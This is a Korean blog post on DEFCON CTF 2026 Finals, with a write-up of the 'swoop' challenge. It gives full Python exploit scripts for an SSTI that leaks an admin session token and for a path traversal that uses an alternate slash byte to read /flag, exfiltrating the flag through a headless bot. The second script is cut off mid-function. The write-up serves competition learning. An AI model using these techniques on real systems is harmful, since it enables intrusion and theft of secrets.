Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

DEFCON CTF 2026 Final

DEFCON CTF 2026 Final

대회 일정

2026-08-07 10:00 ~ 2026-08-09 12:00

대회 방식

대회 방식은 A&D(Attack & Defense), KotH(King of the Hill) 문제 유형으로 출제되었습니다. 작년과 비교했을 때, LiveCTF가 사라졌고 A&D 문제에 Rebate가 추가되었습니다.

Rebate: 상대팀이 우리팀 플래그를 탈취하여 제출했을 때, 우리팀도 뺏긴 플래그를 제출하면 점수를 얻는 방식입니다.
(단, 상대팀이 플래그를 탈취하고 제출하지 않았을 때, 뺏긴 플래그를 제출하면 점수를 잃게 됩니다.)

모든 문제는 한 틱마다 점수가 반영되며 다음과 같은 점수 규칙을 따릅니다.

틱(TICK) 초기화 시간: Day 1~2: 5분, Day 3: 3분

  1. A&D(Attack & Defense)
    공격: 틱이 진행되는 동안 다른 팀의 플래그를 탈취하여 제출하면 점수를 획득합니다. (획득한 플래그는 3틱 동안 유효합니다. 마찬가지로, 플래그는 해당 플래그가 포함된 패킷 캡처가 공개된 틱부터 3틱 동안 노출(exposed)된 것으로 간주됩니다.)
    ㄴ 논스텔스(Non-stealth): 100점, 스텔스(Stealth): 20점

    방어: 플래그를 탈취당하지 않은 팀에게 점수 부여
    ㄴ SLA 테스트 버전을 통과하지 못하면 기본 도커 이미지 대신 사용
    ㄴ Rebate 성공할 경우: 20점 획득, Rebate 실패할 경우: 10점 감점

    1팀 2팀 3팀 4팀 5~6팀 7~12팀
    점수(각) 700 500 400 300 200 100
  2. KotH (King of the Hill) 순위 간 동점이 발생하면 관련된 모든 순위의 점수를 합산한 뒤 동점팀 수로 나누어 배분합니다.

    순위 1위 2위 3위 4위 5위 6~12위
    점수 1200 700 400 200 100 0

대회 후기

DEFCON CTF Final 2026에 The Seoul Sauna Shogunate 팀으로 참여했습니다.

본선은 Jeopardy 방식이 아닌 Attack & Defense 방식으로 진행되는 만큼, 대회 전부터 준비해야 할 부분이 많았습니다. 예선이 끝난 이후 팀에서는 본선을 대비하여 A&D 도구 개발 및 테스트와 팀 전략 수립 등을 진행했고, 본선 당일에는 네트워크 셋팅과 툴 운영 등 문제 풀이 외에도 신경 써야 할 작업들이 있었습니다.

그중 대회 전에는 Attack 도구 개발 및 테스트에 참여했고, 본선에서는 KoTH(golduck, bbbq)와 A&D(swoop) 문제의 공격 부분에 참여했습니다.

1,2일차는 KotH 문제에 대부분의 시간을 썼고, 2일차 대회가 마무리된 이후부터는 swoop 익스플로잇 작성 및 검증, 추가 공격 벡터 분석을 진행했습니다. 3일차는 다른 팀에서 취약점 패치가 빠르게 진행되어 다른 팀의 패치 코드를 분석하며 우회 포인트를 분석했습니다.

이렇게 3일 간의 대회를 진행하였고, 최종 9위로 마무리했습니다.

Writeup

출제된 문제 중 A&D(swoop) 문제에 대해 Write-Up을 작성하였습니다.

swoop - (Attack & Defense)

swoop 문제는 Go, Rust로 작성된 바이너리가 주어졌고 커스텀 프로토콜 기반 웹 문제였습니다.

파일 구조

  • /bin/broker: nsjail 샌드박스 밖에서 낮은 권한(uid 10003, setpriv로 drop)으로 동작하며, 외부에서 들어오는 연결을 릴레이하고 swoop-bot을 wake channel(BROKER_WAKE_ADDR, 기본값 127.0.0.1:8082)로 깨웁니다.
  • /bin/starling: Go 언어로 작성된 서버입니다. html/template을 커스텀 delimiter <{( )}>로 설정해서 동적 콘텐츠를 렌더링합니다.
  • /bin/peregrine: swoop-bot이 조작하는 headless “브라우저”입니다. 페이지는 라우트마다 .twg(twig, DOM), .plm(plumage, 스타일), .tln(talon, 실제 스크립팅 언어) 세 가지 인코딩 포맷으로 병존합니다. 전부 별도의 바이트 치환 알파벳으로 인코딩되어 있습니다.
├── bin
│   ├── broker                  # jail 밖에서 외부 연결을 릴레이하는 Go 바이너리, uid 10003로 동작하고 swoop-bot을 127.0.0.1:8082로 wake.
│   ├── entrypoint              # 컨테이너 최상위 진입점 추정. broker를 jail 밖에서, jail-entrypoint를 nsjail 안에서 기동하는 조정 스크립트로 추측
│   ├── jail-entrypoint         # nsjail(swoop.nsjail.cfg) 안에서 starling+swoop-bot을 기동하는 진입점 추정
│   ├── peregrine               # Rust 헤드리스 "브라우저" 클라이언트. talon 스크립트 실행, config/peregrine/roosts로 라우팅
│   ├── starling                # 핵심 Go 서버(garble 난독화). SWOOP 프로토콜 파싱 + 전체 라우트 처리
│   └── swoop-bot               # Rust로 작성된 관리자 봇. peregrine을 조작해 인증 세션으로 페이지 방문
├── config
│   ├── peregrine
│   │   └── roosts              # 이름→주소 매핑. defcon_defender와 casino가 둘 다 127.0.0.1:8128을 가리킴
│   └── swoop                   # starling/broker 서버 설정(포트, VFS_ROOT, ATTACH_ROOT 등 환경변수 추정)
├── README.md                   # 대회/핸드아웃 안내. 패치 허용 바이너리가 starling/peregrine뿐이라는 규칙 근거
└── srv
    ├── attachments             # ATTACH_ROOT
    ├── db
    │   └── users
    │       └── admin.json      # admin 계정 데이터
    ├── nests                   # 코드로 확인 못 함. nest.save/load(peregrine 로컬 세션 API)와는 별개로 보이는 서버측 노트 저장소 추정, 확정 근거 없음
    ├── public                  # 정적 페이지 3종 세트(.twg DOM / .plm 스타일 / .tln 스크립트)가 라우트별로 존재. handout 원본은 전부 0바이트 placeholder, 라이브 덤프+디코딩 필요
    │   ├── casino
    │   │   ├── bet.plm         # 카지노 베팅 페이지 스타일
    │   │   ├── bet.tln         # 베팅 로직 스크립트. 클라이언트측 정수/잔액 검증 없음 
    │   │   └── bet.twg         # 베팅 페이지 DOM
    │   ├── flag.plm            # flag 페이지 스타일
    │   ├── flag.tln            # flag 페이지 스크립트
    │   ├── flag.twg            # flag 페이지 DOM. 로그인 성공 후 navigate('flag')로 도달
    │   ├── login.plm           # 로그인 페이지 스타일
    │   ├── login.tln           # 로그인 스크립트. do_login이 PERCH login 요청, 성공 시 nest.save('token', ...) 후 navigate('flag')
    │   ├── login.twg           # 로그인 폼 DOM
    │   └── note
    │       ├── hit.plm         # 노트 상세/조회 페이지 스타일 추정
    │       ├── hit.tln         # let token = nest.load('token')으로 세션을 명시적으로 붙임 — search.tln과 대조되는 정상 세션 사용 예시
    │       ├── hit.twg         # 노트 상세/조회 DOM 추정
    │       ├── new.plm         # 노트 생성 페이지 스타일 추정
    │       ├── new.tln         # 노트 생성 스크립트 추정. note/new가 flag 노트(rotation-schedule) 저장에 쓰임
    │       ├── new.twg         # 노트 생성 폼 DOM 추정
    │       ├── results.plm     # 검색 결과 페이지 스타일 추정
    │       ├── results.tln     # 검색 결과 표시 스크립트 추정.
    │       ├── results.twg     # 검색 결과 DOM 추정
    │       ├── search.plm      # 검색 폼 스타일
    │       ├── search.tln      # query/submitted만 있고 세션 로드 코드 없음
    │       └── search.twg      # 검색 폼 DOM
    ├── swoop.nsjail.cfg        # nsjail 설정. mount/pid/ipc/uts/user 네임스페이스 격리, 네트워크는 공유(clone_newnet: false), chroot 사용(no_pivotroot: true)
    └── vfs                     # VFS_ROOT. note/delete가 body.name을 여기 join

SWOOP 커스텀 프로토콜

핸드셰이크는 접속 직후 고정된 6바이트 프레임(64 66 00 00 00 74)을 서로 주고받는 것으로 시작합니다.

START(0x64) TYPE(0x65||0x75) 0x01 SID(2 bytes) payload END(0x74)

핸드셰이크 이후 모든 요청은 항상 HEAD(envelope, 0x65) 프레임 + BODY(0x75) 프레임을 구성해야 하며, 두 개를 같은 sid로 묶어서 보내야 합니다. 이때, 길이 필드가 없고, START(0x64) 이후 나오는 END(0x74) 바이트를 찾아 프레임 경계를 찾습니다.

  1. TYPE:
    • envelope(0x65): HTTP의 request line/header처럼 target,action, session 등 “어디로 어떤 요청을 보낼지”를 담습니다.
    • body(0x75): HTTP request body처럼 실제 입력값이나 폼 파라미터를 담습니다.
  2. PAYLOAD:
    • envelope는 key 0x77 value가 반복되는 flat key-value 구조입니다. target, roost, action, mode, species, session 등이 들어가며, actionPECK=0x03, PERCH=0x10 같은 1바이트 enum입니다.
    • body는 TALON dict-literal입니다. 형식은 $'key'&'value'4이고, 여러 필드는 0x36으로 구분됩니다.

Envelope 필드

필드 비고
action raw verb-enum 1바이트 PECK=0x03(조회), PERCH=0x10(조회+실행)
target 라우트 문자열 (예: note/delete, dashboard, fragment) note/*처럼 /가 포함되면 라우트 디스패처가 IndexByte(target, 0x67)로 첫 세그먼트를 자름
roost defcon_defender(실제 backend) 등 이 세션 클라이언트는 전부 이 값 고정
mode fetch (고정) 관찰된 실제 트래픽(login.tln 등)에서 그대로 복사한 상수
species peregrine (고정) 위와 동일
session 32-hex 토큰 (옵션) 값을 포함하지 않을 경우, 인증되지 않은 요청

BODY 필드

TALON dict-literal 인코딩 하나로 통일. $ 여는 괄호(0x24) → 'key'&'value' 쌍을 0x27(따옴표)/0x26(&)로 감싸서 나열 → 항목 사이는 0x36(,) → 4 닫는 괄호(0x34). 필드가 없는 요청은 body 프레임 자체를 빈 페이로드로 보냅니다.

위에서 설명한 요청을 그림으로 나타내면 다음과 같습니다.

VULN #1 — note/view SSTI(Server Side Template Injection)

note/view 엔드포인트는 name 필드를 "Welcome back, <{(name)}>!" 문자열에 대입해 렌더링하는데, 렌더링 결과가 두 번째로 다시 렌더 엔진을 통과합니다.

name = "<{(review_token)}>" 로 보내면 1차 렌더 결과가 "Welcome back, <{(review_token)}>!" 가 됩니다. 이후, 이 문자열 안의 <{( )}> 이 유효한 구분자로 다시 인식되어, 서버 컨텍스트의 review_token 값으로 2차 치환됩니다.

# /bin/starling
0x79116e: "Welcome back, <{(name)}>!"
0x792817: "dashboard: <{(review_token)}>"

별도의 세션 검증을 하고 있지 않아 아래 요청으로 admin의 32자리 hex 토큰을 응답에 노출시킬 수 있습니다. (0x77 값은 공백으로 표시되었습니다.)

HEAD  action=PECK  target=note/view/<any>  roost=defcon_defender  mode=fetch  species=peregrine
BODY  $'name'&'<{(review_token)}>'4

이후, 해당 토큰 값을 세션에 포함하여 note/view/rotation-schedule를 요청하면 플래그를 획득할 수 있습니다.

공격 흐름

  1. 공격자가 broker에 ‘V’(visitor) 셀렉터로 접속해 handshake 수행
  2. broker가 봇(swoop-bot)을 깨우게 되고, 봇이 브라우저(peregrine)를 통해 twig/talon/plumage 3개 리소스를 broker에 요청 (공격자에게 전달됨)
  3. 공격자는 broker를 통해 TALON을 전달
    • fetch({ target: ‘note/view/{note_name}’, roost: ‘defcon_defender’, action: ‘PECK’, body: { name: ‘<{(review_token)}>’ } })
    • (콜백: navigate(resp.body))
  4. 브라우저(peregrine)가 TALON을 실행하면서 SSTI 취약점 발생 (관리자 세션 토큰 탈취)
  5. 공격자는 broker를 통해 관리자 세션 토큰을 포함하여 TALON을 전달
    • fetch({ target: ‘note/view/rotation-schedule’, roost: ‘defcon_defender’, action: ‘PECK’, session: ‘<2단계에서 탈취한 토큰>’ })
    • (콜백: resp.body를 문자 단위로 RSA 암호화 → navigate)
  6. peregrine(브라우저)가 TALON을 실행하면서 flag 노트 내용을 반환 → 콜백이 resp.body를 읽고 암호화 후 navigate 수행
  7. 공격자는 broker를 통해 암호화된 결과를 수신하고, RSA 개인키로 복호화하여 flag 획득

Exploit Code

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
note_name = os.environ.get("NOTE_NAME", "rotation-schedule")
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "20"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "2"))
max_tries = int(os.environ.get("MAX_TRIES", "3"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
TALON = base64.b64decode(
    "haGnoIPIhYCLpYRagYSFoaSEyCcnWoCFpoSkyCcnWouEptqmoYqEoMighKWmxouhgINHJ6ahioSgJ1dahYSmgodHJCemgKSGhKYnJiegoaaEZ4KhoKaEoKYnNieAgqaIoaAnJieylLSSlyc2J4eEgIOEpKUnJiQnpYSlpYihoCcmpqGKhKA0NieBoYOrJyaLgKtHJCeggIyEJyaIgzRXNElIpISlollEiIVFpquihKGFR6SEpaJXyMgnpISloqGgpYQn1NSkhKWixqaApIaEpsjIJ6ChpoRngqGgpoSgpifU1KSEpaLGgIKmiKGgyMgnECdVRIiFRYuEoEekhKWixoGhg6tXyMjgVUSkhKanpKBUWouEptqhyIKkgIKKR6SEpaLGgaGDq1dai4Sm2qaEqqbIocaCoaCmhKCmWoiFRaaEqqbIyKCni4tVRKSEpqekoFRai4Sm2ojIiKCDhKrRoYVHpoSqpkmjp4Skq1daiIVFiMjIoKeLi1VEpISmp6SgVFqBhIWhpITIpYuIgoRHpoSqpkngSYhXWoCFpoSkyKWLiIKER6aEqqZJiMCLhKBHo6eEpKtXSYuEoEemhKqmV1dahaGnoIPIpqSnhFRUWFc="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_E = 65537
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-"
MAX_FLAG_LENGTH = 128
CIPHER_PREFIX = "MCENC"
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def response_frame(request_id, resource_type, body):
    request_word = struct.pack(">H", request_id)
    return (
        b"de\x01" + request_word + encode("status") + b"\x77\x70\x77"
        + encode("type") + b"\x77" + encode(resource_type)
        + b"\x74du\x01" + request_word + body + b"\x74"
    )


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def make_talon(target, action, session_value, body_name=None):
    """Patch the base TALON template: retarget the fetch, inject the roost,
    swap PERCH->PECK, set session/body values, and wire navigate(resp.body)
    into the (originally empty) callback body."""
    talon = TALON
    if target != "note/content":
        talon = talon.replace(
            b"'" + encode("note/content") + b"'",
            b"'" + encode(target) + b"'",
            1,
        )
    if action == "PECK":
        talon = talon.replace(
            b"'" + encode("PERCH") + b"'",
            b"'" + encode("PECK") + b"'",
            1,
        )

    target_action = b"'" + encode(target) + b"'\x36'" + encode("action")
    routed_target = (
        b"'" + encode(target) + b"'\x36'" + encode("roost") + b"'\x26'"
        + encode(roost) + b"'\x36'" + encode("action")
    )
    talon = talon.replace(target_action, routed_target, 1)

    old_headers = b"$'" + encode("session") + b"'\x26" + encode("token") + b"\x34"
    new_headers = b"$'" + encode("session") + b"'\x26'" + session_value + b"'\x34"
    talon = talon.replace(old_headers, new_headers, 1)

    old_body = b"$'" + encode("name") + b"'\x26" + encode("id") + b"\x34"
    new_body = b"$'" + encode("name") + b"'\x26'" + (body_name or b"") + b"'\x34"
    talon = talon.replace(old_body, new_body, 1)
    if body_name is None:
        body_property = (
            b"\x36'" + encode("body") + b"'\x26" + encode("lay") + b"\x47"
            + new_body + b"\x57"
        )
        talon = talon.replace(body_property, b"", 1)

    callback = b"\x49\x48" + encode("resp") + b"\x59\x44"
    navigate = call("navigate", encode("resp.body")) + b"\x5a"
    return talon.replace(callback, callback + navigate, 1)


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
        body += statement(encode("out=out+") + literal("-") + encode(f"+{cipher}"))
        code += if_block(encode(f"start+{offset}<=stop"), body)

    return code + statement(call("navigate", encode("out")))


ENCRYPTION_CALLBACK = encryption_callback()


def make_encryption_talon(token):
    talon = make_talon("note/view/" + note_name, "PECK", encode(token))
    old = call("navigate", encode("resp.body")) + b"\x5a"
    if old not in talon:
        raise RuntimeError("failed to patch the Talon callback")
    return talon.replace(old, ENCRYPTION_CALLBACK, 1)


def unique_twig():
    """Randomize the twig's referenced resource paths so a live broker/bot
    that caches by path doesn't short-circuit repeated runs against the same
    static TWIG/TALON blobs."""
    nonce = secrets.token_hex(6)
    twig = TWIG.replace(encode("note/hit.tln"), encode("s1/" + nonce + ".tln"), 1)
    twig = twig.replace(encode("note/hit.plm"), encode("s1/" + nonce + ".plm"), 1)
    if twig == TWIG:
        raise RuntimeError("failed to randomize resource targets")
    return twig


def decrypt_target(target):
    parts = target.split("-")
    if parts[0] != CIPHER_PREFIX or len(parts) == 1:
        raise RuntimeError("invalid encrypted target")
    plaintext = []
    for position, block_text in enumerate(parts[1:], 1):
        block = int(block_text)
        if not 0 <= block < RSA_N:
            raise RuntimeError("RSA block is out of range")
        message = pow(block, RSA_D, RSA_N)
        index = message - len(ALPHABET) * position - 1
        if not 0 <= index < len(ALPHABET):
            raise RuntimeError("RSA plaintext block is invalid")
        plaintext.append(ALPHABET[index])
    flag = "".join(plaintext)
    if FLAG_RE.fullmatch(flag) is None:
        raise RuntimeError("decrypted value is not a flag")
    return flag


class VisitorConnection:
    def __init__(self):
        self.socket = socket.create_connection((ip, port), socket_timeout)
        self.socket.settimeout(socket_timeout)
        self.buffer = bytearray()
        self.sent = bytearray()
        self.received = bytearray()

    def send(self, data):
        self.sent.extend(data)
        self.socket.sendall(data)

    def recv(self):
        try:
            data = self.socket.recv(65536)
        except socket.timeout:
            return b""
        self.received.extend(data)
        return data

    def recvn(self, size):
        result = bytearray()
        while len(result) < size:
            chunk = self.recv()
            if not chunk:
                break
            result.extend(chunk)
        return bytes(result)

    def receive_request(self, request_id):
        terminator = b"du\x01" + struct.pack(">H", request_id) + b"\x74"
        while True:
            offset = self.buffer.find(terminator)
            if offset >= 0:
                end = offset + len(terminator)
                request = bytes(self.buffer[:end])
                del self.buffer[:end]
                return request
            chunk = self.recv()
            if not chunk:
                raise RuntimeError(f"request {request_id} was not received")
            self.buffer.extend(chunk)

    def close(self):
        try:
            self.socket.close()
        except OSError:
            pass


def run_once(verbose=True):
    connection = VisitorConnection()
    try:
        connection.send(b"V")
        handshake = connection.recvn(6)
        if len(handshake) != 6 or not handshake.startswith(b"df"):
            raise RuntimeError("invalid broker handshake")
        connection.send(handshake)
        if verbose:
            print("[*] Handshake OK")

        marker = encode("<{(review_token)}>")
        first_talon = make_talon("note/view/" + note_name, "PECK", encode("x"), marker)
        for request_id, resource_type, body in (
            (1, "twig", unique_twig()), (2, "talon", first_talon), (3, "plumage", PLUMAGE),
        ):
            connection.receive_request(request_id)
            connection.send(response_frame(request_id, resource_type, body))
            if verbose:
                print(f"[+] Served request {request_id} ({resource_type})")

        token_request = connection.receive_request(4)
        token_match = re.search(r"Welcome back, ([0-9a-f]{32})!", decode(token_request))
        if token_match is None:
            raise RuntimeError("admin token was not leaked")
        token = token_match.group(1)
        if verbose:
            print(f"[+] Leaked review_token: {token}")

        nonce2 = secrets.token_hex(6)
        second_twig = TWIG.replace(encode("note/hit.tln"), encode("s2/" + nonce2 + ".tln"), 1)
        second_twig = second_twig.replace(encode("note/hit.plm"), encode("s2/" + nonce2 + ".plm"), 1)
        connection.send(response_frame(4, "twig", second_twig))

        connection.receive_request(5)
        connection.send(response_frame(5, "talon", make_encryption_talon(token)))
        connection.receive_request(6)
        connection.send(response_frame(6, "plumage", PLUMAGE))

        cipher_request = connection.receive_request(7)
        match = re.search(rf"target({CIPHER_PREFIX}(?:-[0-9]+)+)roost", decode(cipher_request))
        if match is None:
            raise RuntimeError("encrypted flag was not returned")
        flag = decrypt_target(match.group(1))

        transcript = bytes(connection.sent + connection.received)
        if flag.encode("ascii") in transcript or encode(flag) in transcript or flag in decode(transcript):
            raise RuntimeError("plaintext flag appeared on the external connection")
        return flag
    finally:
        connection.close()


def run():
    attempts = 0
    last_error = "no result"
    while max_tries == 0 or attempts < max_tries:
        attempts += 1
        try:
            return run_once()
        except Exception as exc:
            last_error = str(exc) or type(exc).__name__
            print(f"[!] Attempt {attempts} failed: {last_error}")
        if max_tries == 0 or attempts < max_tries:
            time.sleep(poll_seconds)
    raise RuntimeError(f"failed after {attempts} tries: {last_error}")


def main():
    print(f"[*] bot (IP={ip}, PORT={port}, ROOST={roost}, NOTE={note_name})")
    try:
        flag = run()
    except Exception as exc:
        print(f"exploit failed: {exc}", file=sys.stderr)
        return 1
    print(f"[+] FLAG: {flag}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

VULN #2 - note/view Path Traversal (0x67 바이트 우회)

SWOOP는 일반 텍스트(ASCII)를 그대로 쓰지 않고, 커스텀 규칙에 따라 한 글자씩 다른 바이트로 바꿔서 전송합니다. 서버가 요청 경로(target)를 받으면, 그 안에서 /에 해당하는 0x67 바이트가 어디 있는지부터 찾고, 그 앞부분이 정확히 “note”라는 글자인지 비교해서 note/* 계열 라우트로 보낼지 판단합니다.

라우트 판단 로직을 보면 0x67 바이트 값 비교를 통해 /를 해석하고 있습니다. 하지만, 커스텀 규칙에 따른 문자 치환 과정에서 0xAF 바이트도 /로 해석되는 문제가 존재하여 Path Traversal 취약점이 발생합니다.

# /bin/starling
0x6ffde0:  movb  $0x67, 0x18(%rsp)     ; 0x67 = '/'의 wire 인코딩 바이트
0x6ffde5:  callq 0x403bc0              ; IndexByte(target, 0x67)
...
0x6fff0b:  cmpl  $0x65746f6e, (%rax)   ; little-endian "note" 비교
0x6fff11:  je    0x7000ac              ; 일치하면 note 계열 핸들러로 분기

로컬 환경에서 존재하지 않는 대상 파일을 대상으로 비교한 결과 0xAF 바이트를 포함한 요청의 응답에서만 os.PathError 포맷("open " + path + ": " + err) 에러가 그대로 노출되는 것을 확인했습니다.

즉, 입력된 경로에 대해 정규화가 수행되지 않아 경로 조작이 가능하게 됩니다.

[0x67 정상 슬래시] name="../../nonexistent-..." -> 응답: "missing name"
[0xAF 대체 슬래시] name="../../nonexistent-..." -> 응답: "open /srv/vfs/../../nonexistent-...: no such file or directory"

또한, 별도의 세션 검증을 하지 않아 아래 요청으로 VFS_ROOT(/srv/vfs) 밖의 임의 파일을 읽을 수 있습니다. (0x77 값은 공백으로 표시되었습니다.)

HEAD  action=PECK  target=note/view/../../flag  roost=defcon_defender  mode=fetch  species=peregrine

(target 안에서 note/view 뒤의 첫 /만 정상 인코딩(0x67)이고, 그 뒤 ../../flag를 잇는 /는 전부 대체 바이트 0xAF입니다.)

이 요청으로 인해 /flag 파일을 읽어올 수 있게 됩니다.

공격 흐름

  1. 공격자가 broker에 ‘V’(visitor) 셀렉터로 접속해 handshake 수행
  2. broker가 봇(swoop-bot)을 깨우게 되고, 봇이 브라우저(peregrine)를 통해 twig/talon/plumage 3개 리소스를 broker에 요청 (공격자에게 전달됨)
  3. 공격자는 broker를 통해 TALON을 전달
    • fetch({ target: ‘note/view/../../flag’(0xAF 인코딩 적용), roost: ‘defcon_defender’, action: ‘PECK’ })
    • (콜백: resp.body를 문자 단위로 RSA 암호화 → navigate)
  4. 브라우저(peregrine)가 TALON을 실행하면서 note/view의 필터를 우회해 /flag 내용을 읽음 → 콜백이 resp.body를 읽고 암호화 후 navigate 수행
  5. 공격자는 broker를 통해 암호화된 결과를 수신하고, RSA 개인키로 복호화하여 flag 획득

Exploit Code

import os
import base64
import re
import secrets
import socket
import struct
import sys
import time

ip = os.environ.get("TARGET_IP", "127.0.0.1")
port = int(os.environ.get("TARGET_PORT", "8083"))
roost = os.environ.get("ROOST", "defcon_defender")
read_path = os.environ.get("READ_PATH", os.environ.get("TRAVERSAL_PATH", "../../flag"))
socket_timeout = float(os.environ.get("SOCKET_TIMEOUT", "15"))
max_tries = int(os.environ.get("MAX_TRIES", "2"))
poll_seconds = float(os.environ.get("POLL_SECONDS", "0.25"))

TWIG = base64.b64decode(
    "poCkhoSmd6ChpoRnh4imxqaLoHemq6KEd6aAi6GgB6aApIaEpnegoaaEZ4eIpsaii4x3pquihHeii6eMgIaEBwSHiKYGBIiFBYKhoIOIpoihoAUWhaGnoIMWBgSmh4SgBgSLiAYEoICMhAYWiIMWFASLiKCEBhaBhIWhpIQWBIyApIoGFqOnhKSrFhQWgIWmhKQWFBQUFBQ="
)
PLUMAGE = base64.b64decode(
    "h4imKouAq6GnpiqCoYunjKAqqYiDpocq8ODg0zqLiCqLgKuhp6YqgqGLp4ygKoaAoirhoqoqgYCCioakoaeggyrX8PLwg/HxKoGhpIOEpCrwoqra1+GC8YDygCqigIODiKCGKuOiqiqpiIOmhyrw4ODTOqCAjIQqhaGgptCliKyEKvDgoqoqgqGLoaQq1+Tx9OKB4DqLiKCEKoWhoKbQpYishCrw4aKqKoKhi6GkKteE4YTkheA6jICkiiqBgIKKhqShp6CDKtfzg4PxhYIqgqGLoaQq1+CB8ODh4A=="
)

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

RSA_N = 91122709
RSA_D = 26813825
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"
MAX_FLAG_LENGTH = 128
CIPHER_PREFIX = "MCENCV" + secrets.token_hex(6)
FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")


def encode(value):
    return bytes(ENCODE[char] for char in value)


def decode(value):
    return "".join(DECODE.get(byte, "") for byte in value)


def call(name, *arguments):
    return encode(name) + b"\x47" + b"\x49".join(arguments) + b"\x57"


def literal(value):
    return b"\x27" + encode(value) + b"\x27"


def raw_literal(value):
    return b"\x27" + value + b"\x27"


def statement(value):
    return value + b"\x5a"


def if_block(condition, body):
    return encode("if") + b"\x45" + condition + b"\x55\x44" + body + b"\x54\x5a"


def object_value(items):
    result = bytearray(b"\x24")
    for index, (key, value) in enumerate(items):
        if index:
            result.append(0x36)
        result += b"\x27" + encode(key) + b"\x27\x26" + value
    result.append(0x34)
    return bytes(result)


def function_value(arguments, body):
    return b"\x48" + b"\x36".join(encode(a) for a in arguments) + b"\x59\x44" + body + b"\x54\x58"


def encryption_callback():
    code = statement(encode("let text=resp.body"))
    code += statement(encode("let start=") + call("index_of", encode("text"), literal("bbb{")))
    code += statement(encode("let stop=") + call("index_of", encode("text"), literal("}")))

    function_body = statement(encode("let r=m"))
    for _ in range(16):
        function_body += statement(encode(f"r=r*r%{RSA_N}"))
    function_body += statement(encode(f"r=r*m%{RSA_N}"))
    function_body += statement(encode("return r"))
    code += encode("enc=") + b"\x48" + encode("m") + b"\x59\x44" + function_body + b"\x54\x58\x5a"
    code += statement(encode("out=") + literal(CIPHER_PREFIX))

    for offset in range(MAX_FLAG_LENGTH):
        character, message, cipher = f"ch{offset}", f"m{offset}", f"c{offset}"
        body = statement(
            encode(f"let {character}=")
            + call("slice", encode("text"), encode(f"start+{offset}"), encode(f"start+{offset + 1}"))
        )
        body += statement(
            encode(f"let {message}=")
            + call("index_of", literal(ALPHABET), encode(character))
            + encode(f"+1+{len(ALPHABET)}*{offset + 1}")
        )
        body += statement(encode(f"let {cipher}=") + call("enc", encode(message)))
